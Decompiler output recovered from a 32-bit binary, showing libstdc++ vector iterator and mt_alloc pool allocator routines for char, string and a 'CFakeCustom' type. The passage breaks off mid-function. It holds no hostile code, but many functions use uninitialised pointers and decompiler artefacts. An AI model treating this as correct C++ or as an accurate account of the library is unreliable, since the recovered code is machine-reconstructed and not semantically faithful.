__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = *a2; // 0x804b501 int32_t v2 = *a3; // 0x804b506 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)(v2 + v1)); return (int32_t)a1; } // Address range: 0x804b528 - 0x804b579 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2) { // 0x804b528 int32_t * v1; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(v1, (int32_t *)a1); int32_t * v2; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(v2, v1, a2); return __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(v2); } // Address range: 0x804b57a - 0x804b59d int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(int32_t * a1, int32_t a2) { // 0x804b57a __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)(a2 + 4)); return (int32_t)a1; } // Address range: 0x804b5a0 - 0x804b5b5 int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(int32_t * a1) { // 0x804b5a0 *a1 = *a1 + 1; return (int32_t)a1; } // Address range: 0x804b5b6 - 0x804b5bb void __gnu_cxx____mt_alloc_base_lt_std__string_gt_(void) { // 0x804b5b6 return; } // Address range: 0x804b5bc - 0x804b5d3 int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl(int32_t * a1) { int32_t result = (int32_t)a1; // 0x804b5c2 g95 = result; std__allocator_lt_std__string_gt__14(result); return result; } // Address range: 0x804b5d4 - 0x804b5e9 int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(int32_t * a1) { int32_t v1; int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1); // 0x804b5e0 return result; } // Address range: 0x804b5ea - 0x804b611 int32_t std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t result = (int32_t)a1; // 0x804b60b2 if (a1 == a2) { // 0x804b610 return result; } __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(a3); int32_t result2 = result + 4; // 0x804b604 // branch -> 0x804b5f2 while ((int32_t *)result2 != a2) { // 0x804b5f2 __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(a3); result2 += 4; // continue -> 0x804b5f2 } // 0x804b610 return result2; } // Address range: 0x804b612 - 0x804b621 int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x804b612 *a1 = *a2; return (int32_t)a1; } // Address range: 0x804b622 - 0x804b64d int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(int32_t * a1, int32_t ** a2) { int32_t v1 = *(int32_t *)a2; // 0x804b62f __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x804b64e - 0x804b677 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(int32_t * a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a2 + 4); // 0x804b65b __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x804b67a - 0x804b689 int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x804b67a *a1 = *a2; return (int32_t)a1; } // Address range: 0x804b68a - 0x804b6ad int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(int32_t * a1, int32_t * a2) { // 0x804b68a __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, a2); return (int32_t)a1; } // Address range: 0x804b6ae - 0x804b6e1 int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = *a2; // 0x804b6bb int32_t v2 = *a3; // 0x804b6c0 __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)(4 * v2 + v1)); return (int32_t)a1; } // Address range: 0x804b6e4 - 0x804b735 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2) { // 0x804b6e4 int32_t * v1; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(v1, (int32_t *)a1); int32_t * v2; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(v2, v1, a2); return __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(v2); } // Address range: 0x804b736 - 0x804b745 int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x804b736 *a1 = *a2; return (int32_t)a1; } // Address range: 0x804b746 - 0x804b769 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(int32_t * a1, int32_t * a2) { // 0x804b746 __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, a2); return (int32_t)a1; } // Address range: 0x804b76a - 0x804b79d int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = *a2; // 0x804b777 int32_t v2 = *a3; // 0x804b77c __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)(8 * v2 + v1)); return (int32_t)a1; } // Address range: 0x804b7a0 - 0x804b7f1 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2) { // 0x804b7a0 int32_t * v1; std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(v1, (int32_t *)a1); int32_t * v2; __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_(v2, v1, a2); return __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(v2); } // Address range: 0x804b7f2 - 0x804b7f9 int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1) { // 0x804b7f2 return (int32_t)a1; } // Address range: 0x804b7fa - 0x804b831 int32_t __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x804b807 int32_t v2 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x804b819 return (*(int32_t *)v1 - *(int32_t *)v2) / 4; } // Address range: 0x804b832 - 0x804b87d int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(int32_t ** a1) { // 0x804b832 int32_t * v1; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v1, a1); int32_t * v2; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v2, (int32_t *)a1); return __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v2, v1); } // Address range: 0x804ba7c - 0x804ba83 int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1) { // 0x804ba7c return (int32_t)a1; } // Address range: 0x804ba84 - 0x804bab7 int32_t __gnu_cxx__operator__lt_char_const__ptr__comma__char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); // 0x804ba91 int32_t v2 = __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); // 0x804baa3 return *(int32_t *)v1 - *(int32_t *)v2; } // Address range: 0x804bab8 - 0x804bb03 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(int32_t ** a1) { // 0x804bab8 int32_t * v1; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin(v1, a1); int32_t * v2; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end(v2, (int32_t *)a1); return __gnu_cxx__operator__lt_char_const__ptr__comma__char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v2, v1); } // Address range: 0x804c250 - 0x804c2a1 int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(void) { // 0x804c250 g95 = (int32_t)(unsigned char)g27 | 0x8132c00; return 0x8132c20; } // Address range: 0x804c402 - 0x804c41d int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(int32_t a1) { // 0x804c402 __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x804c41e - 0x804c439 int32_t std__allocator_lt_CFakeCustom_gt__38(int32_t a1, int32_t a2) { // 0x804c41e __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(a1); return 0x8132c20; } // Address range: 0x804c43a - 0x804c457 int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x804c440 std__allocator_lt_CFakeCustom_gt__38(result, (int32_t)a2); return result; } // Address range: 0x804c4b2 - 0x804c4cd int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__41(int32_t a1) { // 0x804c4b2 __gnu_cxx____mt_alloc_base_lt_std__string_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x804c4ce - 0x804c4e5 int32_t std__allocator_lt_std__string_gt__42(int32_t a1) { // 0x804c4ce __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__41(a1); return 0x8132c20; } // Address range: 0x804c4e6 - 0x804c501 int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(int32_t a1) { // 0x804c4e6 __gnu_cxx____mt_alloc_base_lt_std__string_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x804c502 - 0x804c51d int32_t std__allocator_lt_std__string_gt__44(int32_t a1, int32_t a2) { // 0x804c502 __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(a1); return 0x8132c20; } // Address range: 0x804c51e - 0x804c555 int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45(struct struct_3 * a1, int32_t a2) { // 0x804c51e std__allocator_lt_std__string_gt__44((int32_t)a1, a2); a1->e0 = 0; g95 = (int32_t)a1; a1->e1 = 0; int32_t result = (int32_t)a1; // 0x804c54c *(int32_t *)(result + 8) = 0; return result; } // Address range: 0x804c556 - 0x804c56f int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, struct struct_3 * a2) { // 0x804c556 return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45((struct struct_3 *)a1, (int32_t)a2); } // Address range: 0x804c570 - 0x804c58b int32_t std__allocator_lt_std__string_gt__46(int32_t a1, int32_t a2) { // 0x804c570 __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(a1); return 0x8132c20; } // Address range: 0x804c58c - 0x804c5a9 int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(struct struct_3 * a1, int32_t * a2) { // 0x804c58c std__allocator_lt_std__string_gt__46((int32_t)a1, (int32_t)a2); return (int32_t)a1; } // Address range: 0x804d1de - 0x804d23b int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2) { int32_t v1 = (g95 & -256 | (int32_t)(a2 == NULL)) ^ 1; // 0x804d1e8 g95 = v1; if (v1 % 2 == 0) { // 0x804d23a return 0; } // 0x804d1f2 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t result; // 0x804d23b_11 int32_t * v2; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v2) == 0) { // 0x804d226 int32_t v3; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v2, 0x804d1f7, v3, 0, 0, 0); // branch -> 0x804d23a } else { // 0x804d216 result = _ZdlPv(a2); // branch -> 0x804d23a } // 0x804d23a return result; } // Address range: 0x804d23c - 0x804d25f int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x804d23c int32_t result; // 0x804d255 if (a2 != NULL) { // 0x804d248 g95 = (int32_t)a1; result = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2); // branch -> 0x804d25d } // 0x804d25d return result; } // Address range: 0x804d260 - 0x804d2d3 int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__50(struct struct_3 * a1) { int32_t v1 = a1->e0; // 0x804d27f g95 = v1; int32_t v2 = *(int32_t *)((int32_t)a1 + 8) - a1->e0; // bp-36 std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate(&a1->e0, &v1, &v2); g96 = (int32_t)a1; return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl(&a1->e0); } // Address range: 0x804d2d4 - 0x804d329 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(struct struct_6 * a1) { // 0x804d2d4 int32_t v1; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v1, (int32_t *)a1); int32_t * v2 = a1->e1; // 0x804d2f0 int32_t v3 = *(int32_t *)a1; // 0x804d2f6 std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_((int32_t *)v3, v2, v1); std__allocator_lt_char_gt_(); return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__50((struct struct_3 *)a1); } // Address range: 0x804d6ae - 0x804d6c7 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__52(struct struct_6 * a1, int32_t a2) { return std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt_((int32_t *)a1, &a2); } // Address range: 0x804d8fe - 0x804d95f int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t ** a3) { // 0x804d8fe if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x804d95e return 0; } // 0x804d912 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 8 * (int32_t)a3; // 0x804d91d int32_t result; // 0x804d95f_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x804d949 int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x804d917, v2, 0, 0, 0); // branch -> 0x804d95e } else { // 0x804d939 result = _ZdlPv(a2); // branch -> 0x804d95e } // 0x804d95e return result; } // Address range: 0x804d960 - 0x804d983 int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t ** a3) { // 0x804d960 int32_t result; // 0x804d979 if (a2 != NULL) { // 0x804d96c g95 = (int32_t)a1; result = __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3); // branch -> 0x804d981 } // 0x804d981 return result; } // Address range: 0x804e57c - 0x804e5dd int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x804e57c if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x804e5dc return 0; } // 0x804e590 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 4 * (int32_t)a3; // 0x804e59b int32_t result; // 0x804e5dd_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x804e5c7 int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x804e595, v2, 0, 0, 0); // branch -> 0x804e5dc } else { // 0x804e5b7 result = _ZdlPv(a2); // branch -> 0x804e5dc } // 0x804e5dc return result; } // Address range: 0x804e5de - 0x804e601 int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x804e5de int32_t result; // 0x804e5f7 if (a2 != NULL) { // 0x804e5ea g95 = (int32_t)a1; result = __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3); // branch -> 0x804e5ff } // 0x804e5ff return result; } // Address range: 0x804e602 - 0x804e679 int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__63(struct struct_3 * a1) { int32_t v1 = (*(int32_t *)((int32_t)a1 + 8) - a1->e0) / 4; // bp-36 int32_t v2 = a1->e0; // bp-40 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate(&a1->e0, &v2, &v1); g96 = (int32_t)a1; return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl(&a1->e0); } // Address range: 0x804e67a - 0x804e693 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(struct struct_3 * a1, struct struct_3 * a2) { // 0x804e67a return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(&a1->e0, a2); } // Address range: 0x804e694 - 0x804e735 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64(struct struct_10 * a1) { struct struct_3 * v1 = NULL; // bp-9 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a1); int32_t * v2 = a1->e1; // 0x804e6b1 struct struct_3 * v3 = (struct struct_3 *)*(int32_t *)a1; // 0x804e6c1_0 std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(&v3->e0, v2, &v1->e0); std__allocator_lt_std__string_gt_(&v1->e0); return std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__63((struct struct_3 *)a1); } // Address range: 0x804e736 - 0x804e73d int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1) { // 0x804e736 return (int32_t)a1; } // Address range: 0x804e73e - 0x804e771 int32_t __gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); // 0x804e74b int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); // 0x804e75b int32_t v4 = *(int32_t *)v3; // 0x804e763 return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2; } // Address range: 0x804e772 - 0x804e7c1 int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1) { // 0x804e772 int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) == 0) { // 0x804e7bf return 0; } __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) != 0) { // 0x804e77a __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1); // continue -> 0x804e77a } // 0x804e7bf return 0; } // Address range: 0x804e7c2 - 0x804e7f5 int32_t __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); // 0x804e7cf int32_t v2 = __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); // 0x804e7e1 return *(int32_t *)v1 - *(int32_t *)v2; } // Address range: 0x804ea06 - 0x804ea3f int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(int32_t a1) { char v1 = g41; // 0x804ea0c int32_t v2 = v1 == 0; // 0x804ea16 g95 = v2; int32_t result; // 0x804ea2e if (v1 == 0 != false) { // 0x804ea20 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); result = _ZN9__gnu_cxx6__poolILb1EE18_M_initialize_onceEPFvvE(0x8132c20, (int32_t)__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize); g41 = 1; // branch -> 0x804ea3d } else { result = v2; } // 0x804ea3d return result; } // Address range: 0x804ea40 - 0x804ea73 int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__65(int32_t * a1, int32_t ** a2, int32_t * a3) { int32_t v1 = *(int32_t *)a2; // 0x804ea4d int32_t v2 = *a3; // 0x804ea52 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, (int32_t *)(v1 - v2)); return (int32_t)a1; } // Address range: 0x804ea76 - 0x804ea7f int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size(void) { // 0x804ea76 return -1; } // Address range: 0x804ea80 - 0x804eaa7 int32_t std__max_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2) { // 0x804ea80 return (int32_t)(*a1 < *a2 ? a2 : a1); } // Address range: 0x804eaa8 - 0x804eac1 int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__eq_(int32_t * a1, int32_t * a2) { // 0x804eaa8 *a1 = *a2 + *a1; return (int32_t)a1; } // Address range: 0x804eac2 - 0x804eacb int32_t __gnu_cxx____mt_alloc_base_lt_char_gt___max_size(void) { // 0x804eac2 return -1; } // Address range: 0x804eacc - 0x804ec09 int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2) { // 0x804eaf8 __gnu_cxx____mt_alloc_base_lt_char_gt___max_size(); int32_t v1 = (int32_t)a2; // 0x804eae1 int32_t v2; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v2); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, a2) != 0) { // 0x804eb21 int32_t * v3; result = _Znwj(v1, v1, (int32_t)v3); // branch -> 0x804ec04 // 0x804ec04 return result; } int32_t v4 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, a2); // 0x804eb47 int32_t v5 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x804eb58 int32_t ** v6 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v4); // 0x804eb6c_4 int32_t * v7 = *v6; // 0x804eb85 if (((int32_t)(v7 == NULL) || (int32_t)v7 & -256) == 1) { // 0x804ebe7 result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v1, v5); // branch -> 0x804ec04 } else { int32_t * v8 = *v6; // 0x804eb9e *v6 = (int32_t *)*v8; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v6, v8); int32_t v9 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20); // 0x804ebd2 g97 = v9; result = v9 + (int32_t)v8; // branch -> 0x804ec04 } // 0x804ec04 return result; } // Address range: 0x804ec0a - 0x804ec25 int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate(int32_t * a1, int32_t * a2) { // 0x804ec0a return __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2); } // Address range: 0x804ec26 - 0x804ec9b int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66(struct struct_3 * a1, int32_t * a2, int32_t * a3) { // 0x804ec26 std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16(a1, (int32_t)a3); a1->e0 = std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate(&a1->e0, a2); a1->e1 = a1->e0; int32_t result = (int32_t)a1; // 0x804ec62 *(int32_t *)(result + 8) = a1->e0 + (int32_t)a2; return result; } // Address range: 0x804ec9c - 0x804ecd1 int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_char_gt_(int32_t * a1, int32_t * a2, 